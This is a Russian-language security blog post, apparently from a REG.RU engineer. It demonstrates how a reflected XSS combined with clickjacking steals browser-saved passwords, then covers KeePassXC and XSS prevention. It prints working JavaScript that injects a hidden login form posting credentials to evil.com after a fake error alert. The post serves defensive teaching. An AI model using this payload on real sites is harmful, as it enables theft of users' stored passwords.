Меня зовут Артем Мышенков, я ведущий инженер по технической защите информации в команде безопасности REG.RU. Наша команда занимается тестированием систем компании на безопасность и поиском уязвимостей.
В этой статье я расскажу о том, как с помощью XSS-атаки в сочетании с ClickJacking’ом злоумышленники могут похитить сохраненные в браузере пароли.
XSS ― это одна из самых популярных веб-уязвимостей. Строго говоря, это атака, а не уязвимость, но условимся, что иногда под XSS я буду подразумевать уязвимость, которая позволяет проводить XSS-атаку.
Согласно википедии, XSS (англ. Cross-Site Scripting) ― это «тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействия этого кода с веб-сервером злоумышленника».
Вообще мы стараемся оперативно выявлять и устранять уязвимости, но представим, что на сайте REG.RU прямо сейчас есть такая, которая позволяет провести XSS-атаку.
Суть атаки
Чтобы атаковать пользователя сайта, его нужно вынудить перейти по специально сформированной ссылке (о методах социальной инженерии, которые позволяют это сделать, поговорим как-нибудь в другой раз). Атака, для которой нужна спец ссылка, называется ReflectedXSS. Есть ещё StoredXSS, в случае которой вредоносный код сохраняется на странице, поэтому жертву даже не надо вынуждать перейти по ссылке, а нужно просто дождаться пока кто-нибудь откроет зараженную страницу.
Допустим, в результате социальной инженерии пользователь перешел по такой ссылке:
На первый взгляд она не вызывает особых подозрений: длинновата, но домен-то правильный и открывается наш сайт, из-за чего может показаться, что бояться нечего (спойлер: тем, кто не хранит пароли в браузере, атака действительно не страшна). Но при переходе по ссылке срабатывает вредоносный код, который закодирован в URL. Скрипт крадет сохраненную в браузере связку логин/пароль от личного кабинета REG.RU жертвы.
Вот как это выглядит глазами пользователя, который перешел по ссылке — на странице появляется уведомление об ошибке (специально показываем какое-нибудь стандартное сообщение, чтобы не вызвать подозрений):
При клике по кнопке OK откроется главная страница сайта. В общем-то и всё. Странно, но не подозрительно. Понять, что в это время злоумышленник уже получил сохраненный в браузере пароль, практически невозможно.
А теперь разберемся, как эта атака вообще работает.
Технические подробности
Посмотрим, что спрятано в ссылке. Для этого декодируем ее:
При переходе по ссылке загружается и выполняется JavaScript:
var p = document.createElement("input");
p.setAttribute("type", "password");
p.setAttribute("name", "password");
var l = document.createElement("input");
l.setAttribute("type", "text");
l.setAttribute("name", "login");
var f = document.createElement("form");
f.setAttribute("method", "post");
f.setAttribute("action", "https://evil.com/");
f.appendChild(l);
f.appendChild(p);
document.body.appendChild(f)
function clck() {setTimeout(()=>{f.submit()}, 1000)}
document.body.setAttribute('onclick', 'clck()');
setTimeout(()=>{alert('Ошибка отправки CSRF-токена')},2000)
Этот код создает на странице форму и поля с названиями, совпадающими с формой авторизации, чтобы браузер знал, куда подставить сохраненный пароль. Форма добавляется в са-а-амом низу:
Чтобы браузер (в эксперименте использовался Chrome) подставил пароль, нужно взаимодействие пользователя со страницей. Сымитировать нажатие с помощью JS не получится, нужен настоящий клик. Для этого провоцируем жертву на инстинктивное нажатие на кнопку OK в сообщении об ошибке. В том, чтобы вынудить пользователя кликнуть в определенное место и есть суть атаки под названием ClickJacking. Чтобы все успело прогрузиться и отработать, указываем необходимые таймауты. Вешаем обработчик onclick на body.
После первого клика пароль отправляется на сайт хакера, где остается только его записать, а клиенту вернуть редирект на главную страницу.
Так как же обычному пользователю защититься от конкретно этой атаки? Ответ прост: не нужно хранить пароли в браузере. Своим коллегам мы рекомендуем использовать менеджеры паролей, например KeePass или KeePassXC.
К слову, у KeePassXC есть плагин для браузера, который позволяет автоматически заполнять пароли для сайтов. Защитил бы он от атаки, которую мы провели? Давайте разберемся.
Расширение браузера KeePassXC
При добавлении формы на страницу, расширение KeePassXC также ее находит, но при этом подставляет свою иконку в поле ввода. Чтобы осуществить подстановку логина-пароля, нужно нужно кликнуть именно по этой иконке (ключик внизу):
Можно было бы попытаться скрыть отображение формы на странице, сделав ее прозрачной, и, сильно заморочившись, подогнать ее под кнопку OK во всплывающем окне, реализовав тем самым настоящий ClickJacking. Но от этого нас спасает директива shadow-root(closed), которая не позволяет управлять элементами расширения из внешних скриптов:
Таким образом, мы не можем повлиять на прозрачность иконки KeePassXC. Это будет выглядеть подозрительно:
Конечно, и здесь есть вероятность, что жертва не заметит и кликнет по иконке менеджера паролей, в результате чего пароль подставится в форму и уйдет злоумышленнику, но иконка даст хоть какой-то повод насторожиться и не нажимать на опасную кнопку. К тому же, в этот момент должна быть разблокирована база паролей и должен быть разрешен доступ к паролям с текущей страницы. При правильных настройках вероятность атаки сводится к минимуму.
Кратко о том, как не допустить уязвимость
А теперь скажем пару слов как не допустить на вашем сайте уязвимость, позволяющую провести XSS-атаку.
Основной момент ― это правильная обработка данных, которые поступают из недоверенного источника и встраиваются в HTML-код страницы. К слову, это не обязательно значения из параметров URL. Это могут быть любые данные, на которые может повлиять пользователь и которые отображаются где-то на странице.
Для начала нужно понять в каком контексте эти данные попадают в код:
внутри тегов HTML, внутри аргументов тегов, внутри комментариев HTML;
в javascript-коде (например, внутри кода <script> или в inline-скриптах в других тегах);
в аргументе href тега <a>.
В общем случае к таким данным должна применяться кодировка HTML-entities при выводе на страницу. Обязательно должны быть закодированы символы <, >, “ и &.
При инъекции в JS-код дополнительно нужно экранировать одинарную кавычку \' (например, если данные подставляются в значение строки), или же применять более индивидуальные методы. Кстати, зачем вообще подставлять данные напрямую в код JS? По-моему это плохая практика, которая приводит в том числе к проблемам с безопасностью.
В контексте тега <a> нужно применять кодировку URL, а также валидировать схему и адрес хоста, если ссылка формируется полностью из недоверенных данных. Например, чтобы нельзя было сформировать ссылку типа javascript:evil_code();
В качестве превентивной меры защиты можно также использовать технологию Content-Security-Policy, которая не позволит загружать скрипты со сторонних ресурсов.
Выводы
Данная атака наглядно демонстрирует, как могут быть опасны XSS-атаки в сочетании с социальной инженерией, и как важно не допускать уязвимостей, которые могут привести к XSS, и своевременно их устранять. Варианты использования подобных уязвимостей ограничиваются только возможностями javascript и фантазией исследователя.
Расширение KeePassXC снижает вероятность успешности атаки, но полностью не исключает. В любом случае, это значительно безопаснее, чем хранить пароли в браузере.